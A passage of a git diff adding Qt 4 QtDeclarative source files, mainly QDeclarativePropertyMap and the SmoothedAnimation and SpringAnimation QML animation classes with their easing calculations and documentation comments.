+ Returns true if the map contains no keys; otherwise returns
+ false.
+
+ \sa size()
+*/
+bool QDeclarativePropertyMap::isEmpty() const
+{
+ Q_D(const QDeclarativePropertyMap);
+ return d->keys.isEmpty();
+}
+
+/*!
+ Returns true if the map contains \a key.
+
+ \sa size()
+*/
+bool QDeclarativePropertyMap::contains(const QString &key) const
+{
+ Q_D(const QDeclarativePropertyMap);
+ return d->keys.contains(key);
+}
+
+/*!
+ Returns the value associated with the key \a key as a modifiable
+ reference.
+
+ If the map contains no item with key \a key, the function inserts
+ an invalid QVariant into the map with key \a key, and
+ returns a reference to it.
+
+ \sa insert(), value()
+*/
+QVariant &QDeclarativePropertyMap::operator[](const QString &key)
+{
+ //### optimize
+ Q_D(QDeclarativePropertyMap);
+ QByteArray utf8key = key.toUtf8();
+ if (!d->keys.contains(key))
+ insert(key, QVariant());//force creation -- needed below
+
+ return (*(d->mo))[utf8key];
+}
+
+/*!
+ \overload
+
+ Same as value().
+*/
+QVariant QDeclarativePropertyMap::operator[](const QString &key) const
+{
+ return value(key);
+}
+
+/*!
+ \fn void QDeclarativePropertyMap::valueChanged(const QString &key, const QVariant &value)
+ This signal is emitted whenever one of the values in the map is changed. \a key
+ is the key corresponding to the \a value that was changed.
+
+ \note valueChanged() is \bold NOT emitted when changes are made by calling insert()
+ or clear() - it is only emitted when a value is updated from QML.
+*/
+
+QT_END_NAMESPACE
diff --git a/src/declarative/util/qdeclarativepropertymap.h b/src/declarative/util/qdeclarativepropertymap.h
new file mode 100644
index 00000000..0f217253
--- /dev/null
+++ b/src/declarative/util/qdeclarativepropertymap.h
@@ -0,0 +1,90 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEPROPERTYMAP_H
+#define QDECLARATIVEPROPERTYMAP_H
+
+#include <QtCore/QObject>
+#include <QtCore/QHash>
+#include <QtCore/QStringList>
+#include <QtCore/QVariant>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativePropertyMapPrivate;
+class Q_DECLARATIVE_EXPORT QDeclarativePropertyMap : public QObject
+{
+ Q_OBJECT
+public:
+ QDeclarativePropertyMap(QObject *parent = 0);
+ virtual ~QDeclarativePropertyMap();
+
+ QVariant value(const QString &key) const;
+ void insert(const QString &key, const QVariant &value);
+ void clear(const QString &key);
+
+ Q_INVOKABLE QStringList keys() const;
+
+ int count() const;
+ int size() const;
+ bool isEmpty() const;
+ bool contains(const QString &key) const;
+
+ QVariant &operator[](const QString &key);
+ QVariant operator[](const QString &key) const;
+
+Q_SIGNALS:
+ void valueChanged(const QString &key, const QVariant &value);
+
+private:
+ Q_DECLARE_PRIVATE(QDeclarativePropertyMap)
+ Q_DISABLE_COPY(QDeclarativePropertyMap)
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif
diff --git a/src/declarative/util/qdeclarativesmoothedanimation.cpp b/src/declarative/util/qdeclarativesmoothedanimation.cpp
new file mode 100644
index 00000000..79b4eff4
--- /dev/null
+++ b/src/declarative/util/qdeclarativesmoothedanimation.cpp
@@ -0,0 +1,493 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativesmoothedanimation_p.h"
+#include "private/qdeclarativesmoothedanimation_p_p.h"
+
+#include "private/qdeclarativeanimation_p_p.h"
+
+#include <qdeclarativeproperty.h>
+#include "private/qdeclarativeproperty_p.h"
+
+#include "private/qdeclarativeglobal_p.h"
+
+#include <QtCore/qdebug.h>
+
+#include <QtCore/qmath.h>
+
+#define DELAY_STOP_TIMER_INTERVAL 32
+
+QT_BEGIN_NAMESPACE
+
+QSmoothedAnimation::QSmoothedAnimation(QObject *parent)
+ : QAbstractAnimation(parent), to(0), velocity(200), userDuration(-1), maximumEasingTime(-1),
+ reversingMode(QDeclarativeSmoothedAnimation::Eased), initialVelocity(0),
+ trackVelocity(0), initialValue(0), invert(false), finalDuration(-1), lastTime(0)
+{
+ delayedStopTimer.setInterval(DELAY_STOP_TIMER_INTERVAL);
+ delayedStopTimer.setSingleShot(true);
+ connect(&delayedStopTimer, SIGNAL(timeout()), this, SLOT(stop()));
+}
+
+void QSmoothedAnimation::restart()
+{
+ initialVelocity = trackVelocity;
+ if (state() != QAbstractAnimation::Running)
+ start();
+ else
+ init();
+}
+
+void QSmoothedAnimation::updateState(QAbstractAnimation::State newState, QAbstractAnimation::State /*oldState*/)
+{
+ if (newState == QAbstractAnimation::Running)
+ init();
+}
+
+void QSmoothedAnimation::delayedStop()
+{
+ if (!delayedStopTimer.isActive())
+ delayedStopTimer.start();
+}
+
+int QSmoothedAnimation::duration() const
+{
+ return -1;
+}
+
+bool QSmoothedAnimation::recalc()
+{
+ s = to - initialValue;
+ vi = initialVelocity;
+
+ s = (invert? qreal(-1.0): qreal(1.0)) * s;
+
+ if (userDuration > 0 && velocity > 0) {
+ tf = s / velocity;
+ if (tf > (userDuration / qreal(1000.))) tf = (userDuration / qreal(1000.));
+ } else if (userDuration > 0) {
+ tf = userDuration / qreal(1000.);
+ } else if (velocity > 0) {
+ tf = s / velocity;
+ } else {
+ return false;
+ }
+
+ finalDuration = ceil(tf * qreal(1000.0));
+
+ if (maximumEasingTime == 0) {
+ a = 0;
+ d = 0;
+ tp = 0;
+ td = tf;
+ vp = velocity;
+ sp = 0;
+ sd = s;
+ } else if (maximumEasingTime != -1 && tf > (maximumEasingTime / qreal(1000.))) {
+ qreal met = maximumEasingTime / qreal(1000.);
+ td = tf - met;
+
+ qreal c1 = td;
+ qreal c2 = (tf - td) * vi - tf * velocity;
+ qreal c3 = qreal(-0.5) * (tf - td) * vi * vi;
+
+ qreal vp1 = (-c2 + qSqrt(c2 * c2 - 4 * c1 * c3)) / (qreal(2.) * c1);
+
+ vp = vp1;
+ a = vp / met;
+ d = a;
+ tp = (vp - vi) / a;
+ sp = vi * tp + qreal(0.5) * a * tp * tp;
+ sd = sp + (td - tp) * vp;
+ } else {
+ qreal c1 = qreal(0.25) * tf * tf;
+ qreal c2 = qreal(0.5) * vi * tf - s;
+ qreal c3 = qreal(-0.25) * vi * vi;
+
+ qreal a1 = (-c2 + qSqrt(c2 * c2 - 4 * c1 * c3)) / (qreal(2.) * c1);
+
+ qreal tp1 = qreal(0.5) * tf - qreal(0.5) * vi / a1;
+ qreal vp1 = a1 * tp1 + vi;
+
+ qreal sp1 = qreal(0.5) * a1 * tp1 * tp1 + vi * tp1;
+
+ a = a1;
+ d = a1;
+ tp = tp1;
+ td = tp1;
+ vp = vp1;
+ sp = sp1;
+ sd = sp1;
+ }
+ return true;
+}
+
+qreal QSmoothedAnimation::easeFollow(qreal time_seconds)
+{
+ qreal value;
+ if (time_seconds < tp) {
+ trackVelocity = vi + time_seconds * a;
+ value = qreal(0.5) * a * time_seconds * time_seconds + vi * time_seconds;
+ } else if (time_seconds < td) {
+ time_seconds -= tp;
+ trackVelocity = vp;
+ value = sp + time_seconds * vp;
+ } else if (time_seconds < tf) {
+ time_seconds -= td;
+ trackVelocity = vp - time_seconds * a;
+ value = sd - qreal(0.5) * d * time_seconds * time_seconds + vp * time_seconds;
+ } else {
+ trackVelocity = 0;
+ value = s;
+ delayedStop();
+ }
+
+ // to normalize 's' between [0..1], divide 'value' by 's'
+ return value;
+}
+
+void QSmoothedAnimation::updateCurrentTime(int t)
+{
+ qreal time_seconds = qreal(t - lastTime) / qreal(1000.);
+
+ qreal value = easeFollow(time_seconds);
+ value *= (invert? qreal(-1.0): qreal(1.0));
+ QDeclarativePropertyPrivate::write(target, initialValue + value,
+ QDeclarativePropertyPrivate::BypassInterceptor
+ | QDeclarativePropertyPrivate::DontRemoveBinding);
+}
+
+void QSmoothedAnimation::init()
+{
+ if (velocity == 0) {
+ stop();
+ return;
+ }
+
+ if (delayedStopTimer.isActive())
+ delayedStopTimer.stop();
+
+ initialValue = target.read().toReal();
+ lastTime = this->currentTime();
+
+ if (to == initialValue) {
+ stop();
+ return;
+ }
+
+ bool hasReversed = trackVelocity != qreal(0.) &&
+ ((!invert) == ((initialValue - to) > 0));
+
+ if (hasReversed) {
+ switch (reversingMode) {
+ default:
+ case QDeclarativeSmoothedAnimation::Eased:
+ initialVelocity = -trackVelocity;
+ break;
+ case QDeclarativeSmoothedAnimation::Sync:
+ QDeclarativePropertyPrivate::write(target, to,
+ QDeclarativePropertyPrivate::BypassInterceptor
+ | QDeclarativePropertyPrivate::DontRemoveBinding);
+ trackVelocity = 0;
+ stop();
+ return;
+ case QDeclarativeSmoothedAnimation::Immediate:
+ initialVelocity = 0;
+ break;
+ }
+ }
+
+ trackVelocity = initialVelocity;
+
+ invert = (to < initialValue);
+
+ if (!recalc()) {
+ QDeclarativePropertyPrivate::write(target, to,
+ QDeclarativePropertyPrivate::BypassInterceptor
+ | QDeclarativePropertyPrivate::DontRemoveBinding);
+ stop();
+ return;
+ }
+}
+
+/*!
+ \qmlclass SmoothedAnimation QDeclarativeSmoothedAnimation
+ \ingroup qml-animation-transition
+ \since 4.7
+ \inherits NumberAnimation
+ \brief The SmoothedAnimation element allows a property to smoothly track a value.
+
+ A SmoothedAnimation animates a property's value to a set target value
+ using an ease in/out quad easing curve. When the target value changes,
+ the easing curves used to animate between the old and new target values
+ are smoothly spliced together to create a smooth movement to the new
+ target value that maintains the current velocity.
+
+ The follow example shows one \l Rectangle tracking the position of another
+ using SmoothedAnimation. The green rectangle's \c x and \c y values are
+ bound to those of the red rectangle. Whenever these values change, the
+ green rectangle smoothly animates to its new position:
+
+ \snippet doc/src/snippets/declarative/smoothedanimation.qml 0
+
+ A SmoothedAnimation can be configured by setting the \l velocity at which the
+ animation should occur, or the \l duration that the animation should take.
+ If both the \l velocity and \l duration are specified, the one that results in
+ the quickest animation is chosen for each change in the target value.
+
+ For example, animating from 0 to 800 will take 4 seconds if a velocity
+ of 200 is set, will take 8 seconds with a duration of 8000 set, and will
+ take 4 seconds with both a velocity of 200 and a duration of 8000 set.
+ Animating from 0 to 20000 will take 10 seconds if a velocity of 200 is set,
+ will take 8 seconds with a duration of 8000 set, and will take 8 seconds
+ with both a velocity of 200 and a duration of 8000 set.
+
+ The default velocity of SmoothedAnimation is 200 units/second. Note that if the range of the
+ value being animated is small, then the velocity will need to be adjusted
+ appropriately. For example, the opacity of an item ranges from 0 - 1.0.
+ To enable a smooth animation in this range the velocity will need to be
+ set to a value such as 0.5 units/second. Animating from 0 to 1.0 with a velocity
+ of 0.5 will take 2000 ms to complete.
+
+ Like any other animation element, a SmoothedAnimation can be applied in a
+ number of ways, including transitions, behaviors and property value
+ sources. The \l {QML Animation and Transitions} documentation shows a
+ variety of methods for creating animations.
+
+ \sa SpringAnimation, NumberAnimation, {QML Animation and Transitions}, {declarative/animation/basics}{Animation basics example}
+*/
+
+QDeclarativeSmoothedAnimation::QDeclarativeSmoothedAnimation(QObject *parent)
+: QDeclarativeNumberAnimation(*(new QDeclarativeSmoothedAnimationPrivate), parent)
+{
+}
+
+QDeclarativeSmoothedAnimation::~QDeclarativeSmoothedAnimation()
+{
+}
+
+QDeclarativeSmoothedAnimationPrivate::QDeclarativeSmoothedAnimationPrivate()
+ : wrapperGroup(new QParallelAnimationGroup), anim(new QSmoothedAnimation)
+{
+ Q_Q(QDeclarativeSmoothedAnimation);
+ QDeclarative_setParent_noEvent(wrapperGroup, q);
+ QDeclarative_setParent_noEvent(anim, q);
+}
+
+void QDeclarativeSmoothedAnimationPrivate::updateRunningAnimations()
+{
+ foreach(QSmoothedAnimation* ease, activeAnimations.values()){
+ ease->maximumEasingTime = anim->maximumEasingTime;
+ ease->reversingMode = anim->reversingMode;
+ ease->velocity = anim->velocity;
+ ease->userDuration = anim->userDuration;
+ ease->init();
+ }
+}
+
+QAbstractAnimation* QDeclarativeSmoothedAnimation::qtAnimation()
+{
+ Q_D(QDeclarativeSmoothedAnimation);
+ return d->wrapperGroup;
+}
+
+void QDeclarativeSmoothedAnimation::transition(QDeclarativeStateActions &actions,
+ QDeclarativeProperties &modified,
+ TransitionDirection direction)
+{
+ Q_D(QDeclarativeSmoothedAnimation);
+ QDeclarativeNumberAnimation::transition(actions, modified, direction);
+
+ if (!d->actions)
+ return;
+
+ QSet<QAbstractAnimation*> anims;
+ for (int i = 0; i < d->actions->size(); i++) {
+ QSmoothedAnimation *ease;
+ bool needsRestart;
+ if (!d->activeAnimations.contains((*d->actions)[i].property)) {
+ ease = new QSmoothedAnimation();
+ d->wrapperGroup->addAnimation(ease);
+ d->activeAnimations.insert((*d->actions)[i].property, ease);
+ needsRestart = false;
+ } else {
+ ease = d->activeAnimations.value((*d->actions)[i].property);
+ needsRestart = true;
+ }
+ ease->target = (*d->actions)[i].property;
+ ease->to = (*d->actions)[i].toValue.toReal();
+
+ // copying public members from main value holder animation
+ ease->maximumEasingTime = d->anim->maximumEasingTime;
+ ease->reversingMode = d->anim->reversingMode;
+ ease->velocity = d->anim->velocity;
+ ease->userDuration = d->anim->userDuration;
+
+ ease->initialVelocity = ease->trackVelocity;
+
+ if (needsRestart)
+ ease->init();
+ anims.insert(ease);
+ }
+
+ for (int i = d->wrapperGroup->animationCount() - 1; i >= 0 ; --i) {
+ if (!anims.contains(d->wrapperGroup->animationAt(i))) {
+ QSmoothedAnimation *ease = static_cast<QSmoothedAnimation*>(d->wrapperGroup->animationAt(i));
+ d->activeAnimations.remove(ease->target);
+ d->wrapperGroup->takeAnimation(i);
+ delete ease;
+ }
+ }
+}
+
+/*!
+ \qmlproperty enumeration SmoothedAnimation::reversingMode
+
+ Sets how the SmoothedAnimation behaves if an animation direction is reversed.
+
+ Possible values are:
+
+ \list
+ \o SmoothedAnimation.Eased (default) - the animation will smoothly decelerate, and then reverse direction
+ \o SmoothedAnimation.Immediate - the animation will immediately begin accelerating in the reverse direction, beginning with a velocity of 0
+ \o SmoothedAnimation.Sync - the property is immediately set to the target value
+ \endlist
+*/
+QDeclarativeSmoothedAnimation::ReversingMode QDeclarativeSmoothedAnimation::reversingMode() const
+{
+ Q_D(const QDeclarativeSmoothedAnimation);
+ return (QDeclarativeSmoothedAnimation::ReversingMode) d->anim->reversingMode;
+}
+
+void QDeclarativeSmoothedAnimation::setReversingMode(ReversingMode m)
+{
+ Q_D(QDeclarativeSmoothedAnimation);
+ if (d->anim->reversingMode == m)
+ return;
+
+ d->anim->reversingMode = m;
+ emit reversingModeChanged();
+ d->updateRunningAnimations();
+}
+
+/*!
+ \qmlproperty int SmoothedAnimation::duration
+
+ This property holds the animation duration, in msecs, used when tracking the source.
+
+ Setting this to -1 (the default) disables the duration value.
+
+ If the velocity value and the duration value are both enabled, then the animation will
+ use whichever gives the shorter duration.
+*/
+int QDeclarativeSmoothedAnimation::duration() const
+{
+ Q_D(const QDeclarativeSmoothedAnimation);
+ return d->anim->userDuration;
+}
+
+void QDeclarativeSmoothedAnimation::setDuration(int duration)
+{
+ Q_D(QDeclarativeSmoothedAnimation);
+ if (duration != -1)
+ QDeclarativeNumberAnimation::setDuration(duration);
+ if(duration == d->anim->userDuration)
+ return;
+ d->anim->userDuration = duration;
+ d->updateRunningAnimations();
+}
+
+qreal QDeclarativeSmoothedAnimation::velocity() const
+{
+ Q_D(const QDeclarativeSmoothedAnimation);
+ return d->anim->velocity;
+}
+
+/*!
+ \qmlproperty real SmoothedAnimation::velocity
+
+ This property holds the average velocity allowed when tracking the 'to' value.
+
+ The default velocity of SmoothedAnimation is 200 units/second.
+
+ Setting this to -1 disables the velocity value.
+
+ If the velocity value and the duration value are both enabled, then the animation will
+ use whichever gives the shorter duration.
+*/
+void QDeclarativeSmoothedAnimation::setVelocity(qreal v)
+{
+ Q_D(QDeclarativeSmoothedAnimation);
+ if (d->anim->velocity == v)
+ return;
+
+ d->anim->velocity = v;
+ emit velocityChanged();
+ d->updateRunningAnimations();
+}
+
+/*!
+ \qmlproperty int SmoothedAnimation::maximumEasingTime
+
+ This property specifies the maximum time, in msecs, any "eases" during the follow should take.
+ Setting this property causes the velocity to "level out" after at a time. Setting
+ a negative value reverts to the normal mode of easing over the entire animation
+ duration.
+
+ The default value is -1.
+*/
+int QDeclarativeSmoothedAnimation::maximumEasingTime() const
+{
+ Q_D(const QDeclarativeSmoothedAnimation);
+ return d->anim->maximumEasingTime;
+}
+
+void QDeclarativeSmoothedAnimation::setMaximumEasingTime(int v)
+{
+ Q_D(QDeclarativeSmoothedAnimation);
+ if(v == d->anim->maximumEasingTime)
+ return;
+ d->anim->maximumEasingTime = v;
+ emit maximumEasingTimeChanged();
+ d->updateRunningAnimations();
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/util/qdeclarativesmoothedanimation_p.h b/src/declarative/util/qdeclarativesmoothedanimation_p.h
new file mode 100644
index 00000000..dd030dcf
--- /dev/null
+++ b/src/declarative/util/qdeclarativesmoothedanimation_p.h
@@ -0,0 +1,103 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVESMOOTHEDANIMATION_H
+#define QDECLARATIVESMOOTHEDANIMATION_H
+
+#include <qdeclarative.h>
+#include "private/qdeclarativeanimation_p.h"
+
+#include <QtCore/qobject.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeProperty;
+class QDeclarativeSmoothedAnimationPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeSmoothedAnimation : public QDeclarativeNumberAnimation
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeSmoothedAnimation)
+ Q_ENUMS(ReversingMode)
+
+ Q_PROPERTY(qreal velocity READ velocity WRITE setVelocity NOTIFY velocityChanged)
+ Q_PROPERTY(ReversingMode reversingMode READ reversingMode WRITE setReversingMode NOTIFY reversingModeChanged)
+ Q_PROPERTY(qreal maximumEasingTime READ maximumEasingTime WRITE setMaximumEasingTime NOTIFY maximumEasingTimeChanged)
+
+public:
+ enum ReversingMode { Eased, Immediate, Sync };
+
+ QDeclarativeSmoothedAnimation(QObject *parent = 0);
+ ~QDeclarativeSmoothedAnimation();
+
+ ReversingMode reversingMode() const;
+ void setReversingMode(ReversingMode);
+
+ virtual int duration() const;
+ virtual void setDuration(int);
+
+ qreal velocity() const;
+ void setVelocity(qreal);
+
+ int maximumEasingTime() const;
+ void setMaximumEasingTime(int);
+
+ virtual void transition(QDeclarativeStateActions &actions,
+ QDeclarativeProperties &modified,
+ TransitionDirection direction);
+ QAbstractAnimation* qtAnimation();
+
+Q_SIGNALS:
+ void velocityChanged();
+ void reversingModeChanged();
+ void maximumEasingTimeChanged();
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeSmoothedAnimation)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVESMOOTHEDANIMATION_H
diff --git a/src/declarative/util/qdeclarativesmoothedanimation_p_p.h b/src/declarative/util/qdeclarativesmoothedanimation_p_p.h
new file mode 100644
index 00000000..8f8da8d3
--- /dev/null
+++ b/src/declarative/util/qdeclarativesmoothedanimation_p_p.h
@@ -0,0 +1,135 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVESMOOTHEDANIMATION_P_H
+#define QDECLARATIVESMOOTHEDANIMATION_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativesmoothedanimation_p.h"
+#include "private/qdeclarativeanimation_p.h"
+
+#include "private/qdeclarativeanimation_p_p.h"
+
+#include <qparallelanimationgroup.h>
+
+#include <private/qobject_p.h>
+#include <QTimer>
+
+QT_BEGIN_NAMESPACE
+
+class Q_AUTOTEST_EXPORT QSmoothedAnimation : public QAbstractAnimation
+{
+public:
+ QSmoothedAnimation(QObject *parent=0);
+
+ qreal to;
+ qreal velocity;
+ int userDuration;
+
+ int maximumEasingTime;
+ QDeclarativeSmoothedAnimation::ReversingMode reversingMode;
+
+ qreal initialVelocity;
+ qreal trackVelocity;
+
+ QDeclarativeProperty target;
+
+ int duration() const;
+ void restart();
+ void init();
+
+protected:
+ virtual void updateCurrentTime(int);
+ virtual void updateState(QAbstractAnimation::State, QAbstractAnimation::State);
+
+private:
+ qreal easeFollow(qreal);
+ qreal initialValue;
+
+ bool invert;
+
+ int finalDuration;
+
+ // Parameters for use in updateCurrentTime()
+ qreal a; // Acceleration
+ qreal d; // Deceleration
+ qreal tf; // Total time
+ qreal tp; // Time at which peak velocity occurs
+ qreal td; // Time at which decelleration begins
+ qreal vp; // Velocity at tp
+ qreal sp; // Displacement at tp
+ qreal sd; // Displacement at td
+ qreal vi; // "Normalized" initialvelocity
+ qreal s; // Total s
+
+ int lastTime;
+
+ bool recalc();
+ void delayedStop();
+
+ QTimer delayedStopTimer;
+};
+
+class QDeclarativeSmoothedAnimationPrivate : public QDeclarativePropertyAnimationPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeSmoothedAnimation)
+public:
+ QDeclarativeSmoothedAnimationPrivate();
+ void updateRunningAnimations();
+
+ QParallelAnimationGroup *wrapperGroup;
+ QSmoothedAnimation *anim;
+ QHash<QDeclarativeProperty, QSmoothedAnimation*> activeAnimations;
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVESMOOTHEDANIMATION_P_H
diff --git a/src/declarative/util/qdeclarativespringanimation.cpp b/src/declarative/util/qdeclarativespringanimation.cpp
new file mode 100644
index 00000000..034c54b2
--- /dev/null
+++ b/src/declarative/util/qdeclarativespringanimation.cpp
@@ -0,0 +1,462 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativespringanimation_p.h"
+
+#include "private/qdeclarativeanimation_p_p.h"
+#include <qdeclarativeproperty_p.h>
+
+#include <QtCore/qdebug.h>
+
+#include <private/qobject_p.h>
+
+#include <limits.h>
+#include <math.h>
+
+QT_BEGIN_NAMESPACE
+
+
+class QDeclarativeSpringAnimationPrivate : public QDeclarativePropertyAnimationPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeSpringAnimation)
+public:
+
+
+ struct SpringAnimation {
+ SpringAnimation()
+ : currentValue(0), to(0), velocity(0), start(0), duration(0) {}
+ qreal currentValue;
+ qreal to;
+ qreal velocity;
+ int start;
+ int duration;
+ };
+ QHash<QDeclarativeProperty, SpringAnimation> activeAnimations;
+
+ qreal maxVelocity;
+ qreal velocityms;
+ int lastTime;
+ qreal mass;
+ qreal spring;
+ qreal damping;
+ qreal epsilon;
+ qreal modulus;
+
+ bool useMass : 1;
+ bool haveModulus : 1;
+
+ enum Mode {
+ Track,
+ Velocity,
+ Spring
+ };
+ Mode mode;
+
+ QDeclarativeSpringAnimationPrivate()
+ : maxVelocity(0), velocityms(0), lastTime(0)
+ , mass(1.0), spring(0.), damping(0.), epsilon(0.01)
+ , modulus(0.0), useMass(false), haveModulus(false)
+ , mode(Track), clock(0)
+ { }
+
+ void tick(int time);
+ bool animate(const QDeclarativeProperty &property, SpringAnimation &animation, int elapsed);
+ void updateMode();
+
+ typedef QTickAnimationProxy<QDeclarativeSpringAnimationPrivate, &QDeclarativeSpringAnimationPrivate::tick> Clock;
+ Clock *clock;
+};
+
+void QDeclarativeSpringAnimationPrivate::tick(int time)
+{
+ if (mode == Track) {
+ clock->stop();
+ return;
+ }
+ int elapsed = time - lastTime;
+ if (!elapsed)
+ return;
+
+ if (mode == Spring) {
+ if (elapsed < 16) // capped at 62fps.
+ return;
+ int count = elapsed / 16;
